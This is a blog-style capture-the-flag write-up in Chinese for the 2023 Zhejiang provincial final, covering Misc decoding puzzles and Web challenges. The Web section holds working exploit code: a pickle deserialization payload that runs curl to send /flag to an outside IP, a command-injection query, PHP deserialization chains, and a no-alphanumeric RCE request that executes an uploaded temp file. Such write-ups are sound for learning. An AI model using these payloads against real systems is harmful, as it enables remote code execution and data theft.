浙江省决赛 2023
本文最后更新于 146 天前,其中的信息可能已经有所发展或是发生改变。

Misc

Xcode v5.8

  • XXencode 解码

(太贴心了,居然在hint里放了工具,建议所有比赛以此为参考)

Ez_Signin

  • 文件结尾附加base64字符,解码得到:
What_iS_tHis_275626d657e6f556679666
  • 将后半字符逆序再hex解码得到:
five number
  • 好嘛,还得爆破,不如一开始就爆破
11452
  • 得到大串base64,解码后为按键精灵,删除 Ctrl-Z的部分,画出flag;没有按键精灵就用python

NewGrating

  • 前期冰蝎流量解码,aes cbc就能解
  • password.png看着很有光栅画的感觉,但是光栅画实现的不同角度看出不同图片需要基于光栅材质的性质。
  • 在电脑图片中没法实现,而实现方法只能是对图片进行分割并重排列,看图片可以明显的看出有五个一循环的特征,所以猜测可能需要隔五取一,可以先用ps邻近尝试一下,隔五取一,原图宽就是120
  • 即可得到一张图,因此确定了就是将五张图按列进行了分割,然后将每张图第一列作为第一组,成为大图的第一到五列,由此写脚本提取五张图
from PIL import Image
img = Image.open('password.png')
width,height=img.size
pic = Image.new("RGB",(120,300))
for n in range(5):
    for i in range(0,height):
        for j in range(n,600,5):
            tmp = img.getpixel((j,i))
            pic.putpixel((j//5,i),tmp)
    pic.save("{}.png".format(n))
  • 其中第四章就是密码,解压7z就是flag

Web

baby md5

  • 后来补了附件,简单题
//XFF头绕过isRequestFromLocal
/?key1=s1885207154a&key2=240610708&cmd=("\x73\x79\x73\x74\x65\x6d")("nl /f*");
  • 乐,那些个不给附件就交flag的队伍也太心急了,装都不会装

babyWeb

  • 直接看cookie,base64解码后明显是pickle序列化的数据,直接打个pickle反序列化rce即可
import pickle
import base64

class GetShellWithPython(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.call,
                (['python',
                  '-c',
                  'import os;'
                  'os.system("curl http://10.50.109.9:4444?a=`cat /flag`");'],))
    
pickleData = pickle.dumps(GetShellWithPython())

print(base64.b64encode(pickleData))

easy serialize

  • 常规php反序列化
<?php
//flag is in /flag.php
class baby{
    public $var;
    public $var2;
    public $var3;

}

class young{
    public $var;

}

class old{
    public $var;
}

$b = new baby();
$y = new young();
$o = new old();
$b1 = new baby();

$o->var = $y;
$b->var2 = $o;
$b->var3 = "a";
$y->var = $b1;
$b1->var = "flag.php";

echo urlencode(serialize($b));

这逼出题人,会给提示就好好给,不会给提示就少说废话,//flag is in /flag.php 然后 flag.php 在同级目录,脑子多多少少是有问题

p2rce

  • 感觉这个题难度分值给错了,应该是道中等偏困难的题,考点比较多
<?php
error_reporting(0);

class CCC {
    public $c;
    public $a;
    public $b;

    public function __destruct()
    {
        $this->a = 'flag';
        if($this->a === $this->b) {
            echo $this->c;
        }
    }
}

class AAA {
    public $s;
    public $a;

    public function __toString()
    {
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB {
    private $b;
    public function __get($name)
    {
        if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
            global $flag;
            $flag = $this->b;
            return 'ok';
        } else {
            return '<br/>get it!!'; 
        }
    }
}

if(isset($_GET['ctf'])) {
    if(preg_match('/flag/i', $_GET['ctf'])) {
       die('nonono');
    }
    $a = unserialize($_GET['ctf']);
    system($flag);
    throw new Exception("goaway!!!");
} else {
    highlight_file(__FILE__);
}
  • 首先第一个点就是有 throw new Exception("goaway!!!"); 这么一行,所以要要手动gc去主动触发反序列化,很多文章都有讲。然后 __destruct 是起点,往后找链子就行,最后还要注意这里preg_match('/flag/i', $_GET['ctf'])
$this->a = 'flag';
        if($this->a === $this->b) {
            echo $this->c;
        }
  • 这里的绕过。这里使用引用就能绕了,即让变量 a 和变量 b 指向同一地址空间即可
  • 然后最后的最后,就是如何无数字无字母rce了,这里其实可以用php文件上传的临时文件处理。一般php处理文件上传都是先将文件放在临时目录 /tmp 下,文件名一般为 /tmp/phpXXXXXX(不管有没有处理文件上传的逻辑,只要给了文件就都会先存在这里)。然后就可以这里执行命令来运行我们上传的文件 . /???/????????[@-[]
<?php
class AAA {
    public $s;
    public $a;
}

class BBB {
    private $b;
}

class CCC {
    public $a;
    public $c;
    public $b;
}

$p = '. /???/????????[@-[]';
$a = new AAA($b, 'eval');
$c = new CCC($a);
$b = new BBB($p);
$a1 = array($c, null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
echo urlencode($s);
  • 最后自己用burp手动多次发送这样的包就行了
POST /?ctf=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A6%3A%22%00BBB%00b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A4%3A%22eval%22%3B%7Ds%3A1%3A%22b%22%3BR%3A3%3B%7Di%3A0%3BN%3B%7D HTTP/1.1
Host: localhost
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 155
Content-Type: multipart/form-data; boundary=c25447769cf9fc1afc13ede702b4279d

--c25447769cf9fc1afc13ede702b4279d
Content-Disposition: form-data; name="file"; filename="file"

#/bin/sh
cat /*
--c25447769cf9fc1afc13ede702b4279d--

评论

  1. Drunkbaby
    5 月前
    2023-11-28 22:57:05

    乐,那些个不给附件就交flag的队伍也太心急了,装都不会装
    真实,是哪家懂得都懂

    • Avatar photo
      博主
      Drunkbaby
      5 月前
      2023-11-29 18:47:20

      我超,nepnep的大师傅

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇